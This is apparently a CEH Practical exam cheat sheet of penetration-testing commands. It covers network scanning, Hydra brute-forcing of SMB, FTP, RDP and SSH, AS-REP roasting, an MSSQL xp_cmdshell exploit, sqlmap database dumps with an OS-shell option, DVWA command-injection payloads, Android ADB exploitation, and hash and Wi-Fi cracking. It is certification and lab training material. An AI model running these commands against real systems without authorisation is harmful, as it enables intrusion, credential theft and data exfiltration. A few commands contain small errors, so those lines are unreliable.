CEH PRACTICAL CHEAT SHEET

Comprehensive Command & Tool Reference Guide

FILE TRANSFER & DISCOVERY

Sharing Files (Windows ↔ Linux)

Start HTTP server (common across platforms):

```
python3 -m http.server 8080
```

Download file on Windows:

```
Certutil.exe -Urlcache -f http://<ParrotIP>/eg.jpg C:\path\to\save\file\eg.jpg
```

Download file on Linux:

```
wget http://<Windows_IP>:8080/eg.jpg -O eg.jpg
```

Finding Files

Works natively on both Linux and Windows:

```
tree
```

Linux find commands:

```
sudo find / -name *.txt
sudo find / -name SpecificFileName.txt
sudo find /DirectoryName -name SpecificFileName.txt
sudo find . -name SpecificFileName.txt
find / -name <filename> -type f 2>/dev/null
```

Windows search commands:

```
dir /b/s <filename*>
```

Determine the entropy - Die Tool

Determine the Parent PID - Procmon Tool

RECONNAISSANCE & ENUMERATION

Server & Domain Controller Identification

Aggressive network scan (save log to file):

```
nmap -A -oN scan.txt <TIP>
```

Tip: Use `mousepad scan.txt` for easy graphical searching and analysis.

Identifying Domain Controllers via common ports:

- `88/TCP` — Kerberos
- `389/TCP` — LDAP

If these ports are detected open, execute a deeper aggressive scan against the target to retrieve full Domain Controller technical details.

Vulnerability Scanning

Perform an Nmap script-driven vulnerability check:

```
nmap -Pn --script vuln <TIP> -T5
```

Alternative GUI suite if Nmap scan yields insufficient results: **openVAS**

Directory & Web Research

Enumerate web directories using dictionary attacks:

```
dirb <targetDomain> -x eg.txt
```

SERVICE EXPLOITATION & BRUTE FORCING

SMB Enumeration & Exploitation

Crack SMB login credentials:

```
hydra -L users.txt -P pass.txt <TIP> smb -f
```

List SMB network shares:

```
smbmap -H <TIP>
smbclient -L <TIP>
```

Access an open share interactively:

```
smbclient //<TIP>/directory
```

Advanced SMB Enumeration via `smbmap`:

```
smbmap -H <IP>
# Attempts guest login if access denied:
smbmap -H <IP> -u guest -p ""
# Authenticated enumeration:
smbmap -H <IP> -u user -p pass
```

Download files directly via SMB:

```
# Inside smbclient:
get <FileName>

# Recursively download via smbmap:
smbmap -H <IP> -u user -p pass -r SHARE

# Download a specific targeted file:
smbmap -H <IP> -u user -p pass --download "SHARE/path/file.txt"
```

Tool to Exploit Sql server Vulenrability

Python3 /root/impacket/examples/mssqlclient.py SKILL.CEH.com/LoginName:Password@IP -port 1433

SELECT name, CONVERT(INT. ISNULL(value, value_in_use)) AS IsConfigured FROM sys.configurations WHERE name='xp_cmdshell';

msfconsole - use exploit/windows/mssql/mssql_payload

Remote Login & Database Connections

PROTOCOL / SERVICE	DEFAULT PORT	CONNECTION COMMAND SYNTAX
SSH	22	`ssh user@<IP>` Elevate shell: `sudo -i` (Ref: gtfobins.github.io)
Telnet	23	`telnet <IP>`
RDP (CLI)	3389	`xfreerdp /v:<TIP> /u:username` GUI Client alternative: `remmina`
MySQL	3306	`mysql -u <username> -h <TIP> -p <password>` (Use upper-case `-P` for custom port specifications)
FTP	21	`ftp <IP>`
RAT	9871, 6703	Typically associated with tools like `Theef (Client210.exe)`

Hydra Brute Force Examples

FTP Brute Force:

```
hydra -L users.txt -P passwords.txt ftp://<TIP> -f
```

RDP Brute Force:

```
hydra -L users.txt -P passwords.txt rdp://<TIP> -f
```

SSH on custom port specification:

```
hydra -L users.txt -P passwords.txt -s 2222 ssh://<TIP> -f
```

SNMP Community String Brute Force:

```
hydra -P common-snmp-community-strings.txt target.com snmp
```

From the target subnet = 0.0

AS-REP roasting attack

python3 /root/impacket/examples/GetNPUsers.py DomainControllerName/ -no-pass -usersfile users.txt -dc-ip IPAddress

Advanced File Retrieval Strategies

RDP Drive Redirection Method

1. Create and configure permissions on a dedicated attacker sharing folder:

```
mkdir -p /home/attacker/rdp_share
chmod 755 /home/attacker/rdp_share
```

2. Connect while mounting the shareable directory as a network drive:

```
xfreerdp /v:<TIP> /u:username /p:password /drive:share,/home/attacker/rdp_share
```

3. Drop files inside the remote machine under `Network Locations / Network Drives` mapped directly to your host folder.

Secure Copy Protocol (SCP) over SSH

Download a specific file:

```
scp user@<TIP>:/path/file.txt newname.txt
```

Download an entire folder directory recursively:

```
scp -r username@<TIP>:/path/to/folder .
```

If SSH password authentication is disabled, authenticate directly using a private key:

```
scp -i key.pem user@10.10.10.10:/file .
```

SMB Folder Multi-Get

To batch download files inside an active `smbclient` shell prompt:

```
mget *
```

WEB & MOBILE APPLICATION HACKING

SQL Injection (SQLmap)

Retrieve active session cookies directly via browser console:

```
document.cookie
```

Full SQLmap automation sequence:

```
# 1. Enumerate databases                    sqlmap -u <url> --cookie=<cookie_value> --dbs
sqlmap -u <url> --cookie <cookie_value> --dbs

# 2. Enumerate tables inside selected database
sqlmap -u <url> --cookie <cookie_value> -D dbName --tables

# 3. Dump credentials/data from critical tables
sqlmap -u <url> --cookie <cookie_value> -D dbName -T Users_Login --dump

# 4. Attempt an interactive operating system shell drop
sqlmap -u <url> --cookie <cookie> --os-shell
```

WordPress Security Assessments

Standard vulnerability scan:

```
wpscan -url <domain_or_ip>
```

Enumerate valid administrative and standard users:

```
wpscan -url <domain_or_ip> -e u
```

Execute targeted authentication brute-forcing:

```
wpscan -url <domain_or_ip> -U user -P pass.txt
```

wpscan --url http://www.cehorg.com:8080/CEH/wp-login.php -U username -P rockyou.txt

DVWA Command Execution Payloads

Log in to DVWA, ensure the security level dropdown is toggled to **Low**, then inject trailing execution tokens:

Windows Targets:

```
| type "path"
| dir "folder/given"
```

Linux Targets:

```
| cat "path"
| type "/path/to/filename"
```

Mobile Device Penetration Testing

Scan for exposed Android Debug Bridge interface (Port `5555`):

```
adb connect <TIP>:5555
```

Pull full content from the mobile storage card partition:

```
adb pull sdcard/
```

Automate exploitation suites:

```
python3 phonesploitpro.py
```

> **Note:** Inside phoneSploit interactive interface options, use `N` to access the next configuration index page and `P` to return to previous indexes.

To find file inside device:

find / -type d -name (file name) 2>/dev/null
or
find /sdcard -name (file name)

List ELF files:

find Scan -type f

Check whether they are ELF binaries:

file *

Calculate entropy of each ELF:

ent filename
or
binwalk -E filename

FORENSICS, CRYPTOGRAPHY & TRAFFIC ANALYSIS

Hash Cracking & Identification

Identify an arbitrary hash signature format:

```
hash-identifier
```

Execute structured dictionary rules using `hashcat`:

```
Hashcat -a 3 -m 900 -o <output-filename.txt> hash.txt /rockyou.txt
```

MODE PARAMETER (-M)	HASH TARGET ARCHITECTURE TYPE
0	MD5
100	SHA1
110	SHA1 with SALT HASH
160	HMAC-SHA1
900	MD4
1000	NTLM
1400	SHA256
1800	SHA512CRYPT
3200	BCRYPT

Offline multi-threaded cracking alternatives: `john` or various verified online lookup services.

Wireless Network (.cap) Decryption

Determine target Access Point BSSID maps from raw wireless sniffing loops:

```
aircrack-ng <filename>.cap
```

Crack 4-way WPA handshake captures using specialized dictionary wordlists:

```
aircrack-ng -w wordlist.txt capture.cap
aircrack-ng -b <bssid> -w wifiPassList.txt handShakeCapture.cap
```

Malware & PE (Portable Executable) Analysis

- **Compiler & Packer Info:** Use `PEiD` to discover structural entry points and linker meta-headers.
- **Entry Point Address Audits:** Use `PE Explorer`, cross-referencing indicators cleanly inside `DIE → PE`.
- **Entropy Analysis (Detecting Obfuscation/Packing):**
  - Windows Utility: `DIE` (Detect It Easy)
  - Linux Utility: `ent`

To Identify the format of the file.

cat Sniff.txt

To inspect the entropy:

strings (file name)

Ends with = and uses A-Z a-z 0-9 + / - Base64

Only 0-9 a-f - Hex

Starts with U2FsdGVkX1 - OpenSSL salted encryption

Starts with -----BEGIN PEM - (certificate/key)

Starts with Salted__ - OpenSSL encrypted file

Random printable characters with no pattern Possibly encrypted

Pk... - ZIP

7zXZ or 7z - 7z archive

OpenSSL AES-encrypted

openssl enc -d -aes-256-cbc -a -in Sniff.txt -pass pass:<HenryPassword>

If the file is binary

openssl enc -d -aes-256-cbc -in Sniff.txt -pass pass:<HenryPassword>

Only hex-encoded

echo "48656c6c6f20576f726c64" | xxd -r -p

ZIP

unzip -l Sniff.txt

7z encrypted

7z x Sniff.txt

Wireshark Deep Packet Filtering

Filter for SYN Flood / Denial of Service (DoS) conditions:

```
tcp.flags.syn == 1 && tcp.flags.ack == 0
# Alternative broad capture filter:
tcp.flags.syn == 1
```

Isolate and locate arbitrary text patterns inside frame data payloads:

```
frame contains "string"
```

Isolate IoT Protocol streams:

```
mqtt
```

> **Analysis Strategy:** Utilize structural analytics pathways via `Statistics → Conversations` and `Statistics → I/O Graphs` to trace throughput anomalies.

Encryption, Steganography & Data Encoding

- **CryptoForge Encrypted Artifacts:** File extension types typically resolve to `.cfe`
- **Integrity Auditing (CRC32/MD5/SHA):** Use the automated `HashMyFiles.exe` engine on Windows, or standard `sha256sum test.txt` / `algorithmsum <file>` loops on Linux architectures.
- **Steganography Artifact Processing Tools:** Use `OpenStego` or `steghide`.

Decode text strings via Base64:

```
echo "aGVsbG8=" | base64 --decode
echo "aGVsbG8=" | base64 --d
```

Decode stream files directly into binary outputs:

```
base64 -d Sniff.txt > secret.txt
cat secret.txt
```

Base64 → Contains letters, numbers, +, /, and may end with =.

Hex → Only 0-9 and a-f

URL encoding → Contains %20, %3A, etc.

Binary → Only 0 and 1.